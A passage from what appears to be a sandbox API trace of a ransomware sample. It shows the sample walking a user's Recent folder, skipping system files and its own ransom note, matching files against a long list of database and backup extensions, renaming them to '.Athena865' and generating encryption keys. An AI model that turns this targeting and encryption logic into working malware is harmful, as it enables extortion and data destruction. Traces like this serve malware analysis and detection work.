(lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="windows") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="bootmgr") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="temp") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="pagefile.sys") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="boot") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="ids.txt") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="ntuser.dat") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="perflogs") returned -1 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2="MSBuild") returned -1 [0052.009] lstrlenW (lpString="0tnAHeA3v9Mw-E.lnk") returned 18 [0052.009] lstrcpyW (in: lpString1=0x241e8b4, lpString2="0tnAHeA3v9Mw-E.lnk" | out: lpString1="0tnAHeA3v9Mw-E.lnk") returned="0tnAHeA3v9Mw-E.lnk" [0052.009] lstrlenW (lpString="0tnAHeA3v9Mw-E.lnk") returned 18 [0052.009] lstrlenW (lpString="Athena865") returned 9 [0052.009] lstrcmpiW (lpString1="9Mw-E.lnk", lpString2="Athena865") returned -1 [0052.009] lstrlenW (lpString=".dll") returned 4 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2=".dll") returned 1 [0052.009] lstrlenW (lpString=".lnk") returned 4 [0052.009] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2=".lnk") returned 1 [0052.010] lstrlenW (lpString=".ini") returned 4 [0052.010] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2=".ini") returned 1 [0052.010] lstrlenW (lpString=".sys") returned 4 [0052.010] lstrcmpiW (lpString1="0tnAHeA3v9Mw-E.lnk", lpString2=".sys") returned 1 [0052.010] lstrlenW (lpString="0tnAHeA3v9Mw-E.lnk") returned 18 [0052.010] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0tnAHeA3v9Mw-E.lnk.Athena865") returned 82 [0052.010] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0tnAHeA3v9Mw-E.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0tnahea3v9mw-e.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0tnAHeA3v9Mw-E.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0tnahea3v9mw-e.lnk.athena865"), dwFlags=0x1) returned 1 [0052.011] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\0tnAHeA3v9Mw-E.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\0tnahea3v9mw-e.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.011] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2631) returned 1 [0052.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.011] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.011] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.012] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.012] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.012] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd50, lpName=0x0) returned 0x154 [0052.012] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd50) returned 0x100000 [0052.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.015] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.015] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0052.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0052.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.017] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0052.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.017] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.018] CloseHandle (hObject=0x154) returned 1 [0052.018] CloseHandle (hObject=0x17c) returned 1 [0052.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.018] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.018] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbc5a40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xafbc5a40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xafbc5a40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x142c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0xIvyuGU7FVwbG0FNZ.lnk", cAlternateFileName="0XIVYU~1.LNK")) returned 1 [0052.018] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.018] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.018] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2=".") returned 1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="..") returned 1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="windows") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="bootmgr") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="temp") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="pagefile.sys") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="boot") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="ids.txt") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="ntuser.dat") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="perflogs") returned -1 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2="MSBuild") returned -1 [0052.019] lstrlenW (lpString="0xIvyuGU7FVwbG0FNZ.lnk") returned 22 [0052.019] lstrcpyW (in: lpString1=0x241e8b4, lpString2="0xIvyuGU7FVwbG0FNZ.lnk" | out: lpString1="0xIvyuGU7FVwbG0FNZ.lnk") returned="0xIvyuGU7FVwbG0FNZ.lnk" [0052.019] lstrlenW (lpString="0xIvyuGU7FVwbG0FNZ.lnk") returned 22 [0052.019] lstrlenW (lpString="Athena865") returned 9 [0052.019] lstrcmpiW (lpString1="G0FNZ.lnk", lpString2="Athena865") returned 1 [0052.019] lstrlenW (lpString=".dll") returned 4 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2=".dll") returned 1 [0052.019] lstrlenW (lpString=".lnk") returned 4 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2=".lnk") returned 1 [0052.019] lstrlenW (lpString=".ini") returned 4 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2=".ini") returned 1 [0052.019] lstrlenW (lpString=".sys") returned 4 [0052.019] lstrcmpiW (lpString1="0xIvyuGU7FVwbG0FNZ.lnk", lpString2=".sys") returned 1 [0052.019] lstrlenW (lpString="0xIvyuGU7FVwbG0FNZ.lnk") returned 22 [0052.019] lstrlenW (lpString="bak") returned 3 [0052.019] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.019] lstrlenW (lpString="ba_") returned 3 [0052.019] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.019] lstrlenW (lpString="dbb") returned 3 [0052.019] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.019] lstrlenW (lpString="vmdk") returned 4 [0052.019] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.020] lstrlenW (lpString="rar") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.020] lstrlenW (lpString="zip") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.020] lstrlenW (lpString="tgz") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.020] lstrlenW (lpString="vbox") returned 4 [0052.020] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.020] lstrlenW (lpString="vdi") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.020] lstrlenW (lpString="vhd") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.020] lstrlenW (lpString="vhdx") returned 4 [0052.020] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.020] lstrlenW (lpString="avhd") returned 4 [0052.020] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.020] lstrlenW (lpString="db") returned 2 [0052.020] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.020] lstrlenW (lpString="db2") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.020] lstrlenW (lpString="db3") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.020] lstrlenW (lpString="dbf") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.020] lstrlenW (lpString="mdf") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.020] lstrlenW (lpString="mdb") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.020] lstrlenW (lpString="sql") returned 3 [0052.020] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.020] lstrlenW (lpString="sqlite") returned 6 [0052.020] lstrcmpiW (lpString1="NZ.lnk", lpString2="sqlite") returned -1 [0052.020] lstrlenW (lpString="sqlite3") returned 7 [0052.021] lstrcmpiW (lpString1="FNZ.lnk", lpString2="sqlite3") returned -1 [0052.021] lstrlenW (lpString="sqlitedb") returned 8 [0052.021] lstrcmpiW (lpString1="0FNZ.lnk", lpString2="sqlitedb") returned -1 [0052.021] lstrlenW (lpString="xml") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.021] lstrlenW (lpString="$er") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.021] lstrlenW (lpString="4dd") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.021] lstrlenW (lpString="4dl") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.021] lstrlenW (lpString="^^^") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.021] lstrlenW (lpString="abs") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.021] lstrlenW (lpString="abx") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.021] lstrlenW (lpString="accdb") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accdb") returned 1 [0052.021] lstrlenW (lpString="accdc") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accdc") returned 1 [0052.021] lstrlenW (lpString="accde") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accde") returned 1 [0052.021] lstrlenW (lpString="accdr") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accdr") returned 1 [0052.021] lstrlenW (lpString="accdt") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accdt") returned 1 [0052.021] lstrlenW (lpString="accdw") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accdw") returned 1 [0052.021] lstrlenW (lpString="accft") returned 5 [0052.021] lstrcmpiW (lpString1="Z.lnk", lpString2="accft") returned 1 [0052.021] lstrlenW (lpString="adb") returned 3 [0052.021] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.021] lstrlenW (lpString="adb") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.022] lstrlenW (lpString="ade") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.022] lstrlenW (lpString="adf") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.022] lstrlenW (lpString="adn") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.022] lstrlenW (lpString="adp") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.022] lstrlenW (lpString="alf") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.022] lstrlenW (lpString="ask") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.022] lstrlenW (lpString="btr") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.022] lstrlenW (lpString="cat") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.022] lstrlenW (lpString="cdb") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.022] lstrlenW (lpString="ckp") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.022] lstrlenW (lpString="cma") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.022] lstrlenW (lpString="cpd") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.022] lstrlenW (lpString="dacpac") returned 6 [0052.022] lstrcmpiW (lpString1="NZ.lnk", lpString2="dacpac") returned 1 [0052.022] lstrlenW (lpString="dad") returned 3 [0052.022] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.022] lstrlenW (lpString="dadiagrams") returned 10 [0052.022] lstrcmpiW (lpString1="bG0FNZ.lnk", lpString2="dadiagrams") returned -1 [0052.022] lstrlenW (lpString="daschema") returned 8 [0052.022] lstrcmpiW (lpString1="0FNZ.lnk", lpString2="daschema") returned -1 [0052.023] lstrlenW (lpString="db-journal") returned 10 [0052.023] lstrcmpiW (lpString1="bG0FNZ.lnk", lpString2="db-journal") returned -1 [0052.023] lstrlenW (lpString="db-shm") returned 6 [0052.023] lstrcmpiW (lpString1="NZ.lnk", lpString2="db-shm") returned 1 [0052.023] lstrlenW (lpString="db-wal") returned 6 [0052.023] lstrcmpiW (lpString1="NZ.lnk", lpString2="db-wal") returned 1 [0052.023] lstrlenW (lpString="dbc") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.023] lstrlenW (lpString="dbs") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.023] lstrlenW (lpString="dbt") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.023] lstrlenW (lpString="dbv") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.023] lstrlenW (lpString="dbx") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.023] lstrlenW (lpString="dcb") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.023] lstrlenW (lpString="dct") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.023] lstrlenW (lpString="dcx") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.023] lstrlenW (lpString="ddl") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.023] lstrlenW (lpString="dlis") returned 4 [0052.023] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.023] lstrlenW (lpString="dp1") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.023] lstrlenW (lpString="dqy") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.023] lstrlenW (lpString="dsk") returned 3 [0052.023] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.023] lstrlenW (lpString="dsn") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.024] lstrlenW (lpString="dtsx") returned 4 [0052.024] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.024] lstrlenW (lpString="dxl") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.024] lstrlenW (lpString="eco") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.024] lstrlenW (lpString="ecx") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.024] lstrlenW (lpString="edb") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.024] lstrlenW (lpString="epim") returned 4 [0052.024] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.024] lstrlenW (lpString="fcd") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.024] lstrlenW (lpString="fdb") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.024] lstrlenW (lpString="fic") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.024] lstrlenW (lpString="flexolibrary") returned 12 [0052.024] lstrcmpiW (lpString1="VwbG0FNZ.lnk", lpString2="flexolibrary") returned 1 [0052.024] lstrlenW (lpString="fm5") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.024] lstrlenW (lpString="fmp") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.024] lstrlenW (lpString="fmp12") returned 5 [0052.024] lstrcmpiW (lpString1="Z.lnk", lpString2="fmp12") returned 1 [0052.024] lstrlenW (lpString="fmpsl") returned 5 [0052.024] lstrcmpiW (lpString1="Z.lnk", lpString2="fmpsl") returned 1 [0052.024] lstrlenW (lpString="fol") returned 3 [0052.024] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.024] lstrlenW (lpString="fp3") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.025] lstrlenW (lpString="fp4") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.025] lstrlenW (lpString="fp5") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.025] lstrlenW (lpString="fp7") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.025] lstrlenW (lpString="fpt") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.025] lstrlenW (lpString="frm") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.025] lstrlenW (lpString="gdb") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.025] lstrlenW (lpString="gdb") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.025] lstrlenW (lpString="grdb") returned 4 [0052.025] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.025] lstrlenW (lpString="gwi") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.025] lstrlenW (lpString="hdb") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.025] lstrlenW (lpString="his") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.025] lstrlenW (lpString="ib") returned 2 [0052.025] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.025] lstrlenW (lpString="idb") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.025] lstrlenW (lpString="ihx") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.025] lstrlenW (lpString="itdb") returned 4 [0052.025] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.025] lstrlenW (lpString="itw") returned 3 [0052.025] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.025] lstrlenW (lpString="jet") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.026] lstrlenW (lpString="jtx") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.026] lstrlenW (lpString="kdb") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.026] lstrlenW (lpString="kexi") returned 4 [0052.026] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.026] lstrlenW (lpString="kexic") returned 5 [0052.026] lstrcmpiW (lpString1="Z.lnk", lpString2="kexic") returned 1 [0052.026] lstrlenW (lpString="kexis") returned 5 [0052.026] lstrcmpiW (lpString1="Z.lnk", lpString2="kexis") returned 1 [0052.026] lstrlenW (lpString="lgc") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.026] lstrlenW (lpString="lwx") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.026] lstrlenW (lpString="maf") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.026] lstrlenW (lpString="maq") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.026] lstrlenW (lpString="mar") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.026] lstrlenW (lpString="marshal") returned 7 [0052.026] lstrcmpiW (lpString1="FNZ.lnk", lpString2="marshal") returned -1 [0052.026] lstrlenW (lpString="mas") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.026] lstrlenW (lpString="mav") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.026] lstrlenW (lpString="maw") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.026] lstrlenW (lpString="mdbhtml") returned 7 [0052.026] lstrcmpiW (lpString1="FNZ.lnk", lpString2="mdbhtml") returned -1 [0052.026] lstrlenW (lpString="mdn") returned 3 [0052.026] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.027] lstrlenW (lpString="mdt") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.027] lstrlenW (lpString="mfd") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.027] lstrlenW (lpString="mpd") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.027] lstrlenW (lpString="mrg") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.027] lstrlenW (lpString="mud") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.027] lstrlenW (lpString="mwb") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.027] lstrlenW (lpString="myd") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.027] lstrlenW (lpString="ndf") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.027] lstrlenW (lpString="nnt") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.027] lstrlenW (lpString="nrmlib") returned 6 [0052.027] lstrcmpiW (lpString1="NZ.lnk", lpString2="nrmlib") returned 1 [0052.027] lstrlenW (lpString="ns2") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.027] lstrlenW (lpString="ns3") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.027] lstrlenW (lpString="ns4") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.027] lstrlenW (lpString="nsf") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.027] lstrlenW (lpString="nv") returned 2 [0052.027] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.027] lstrlenW (lpString="nv2") returned 3 [0052.027] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.027] lstrlenW (lpString="nwdb") returned 4 [0052.028] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.028] lstrlenW (lpString="nyf") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.028] lstrlenW (lpString="odb") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.028] lstrlenW (lpString="odb") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.028] lstrlenW (lpString="oqy") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.028] lstrlenW (lpString="ora") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.028] lstrlenW (lpString="orx") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.028] lstrlenW (lpString="owc") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.028] lstrlenW (lpString="p96") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.028] lstrlenW (lpString="p97") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.028] lstrlenW (lpString="pan") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.028] lstrlenW (lpString="pdb") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.028] lstrlenW (lpString="pdm") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.028] lstrlenW (lpString="pnz") returned 3 [0052.028] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.028] lstrlenW (lpString="qry") returned 3 [0052.028] 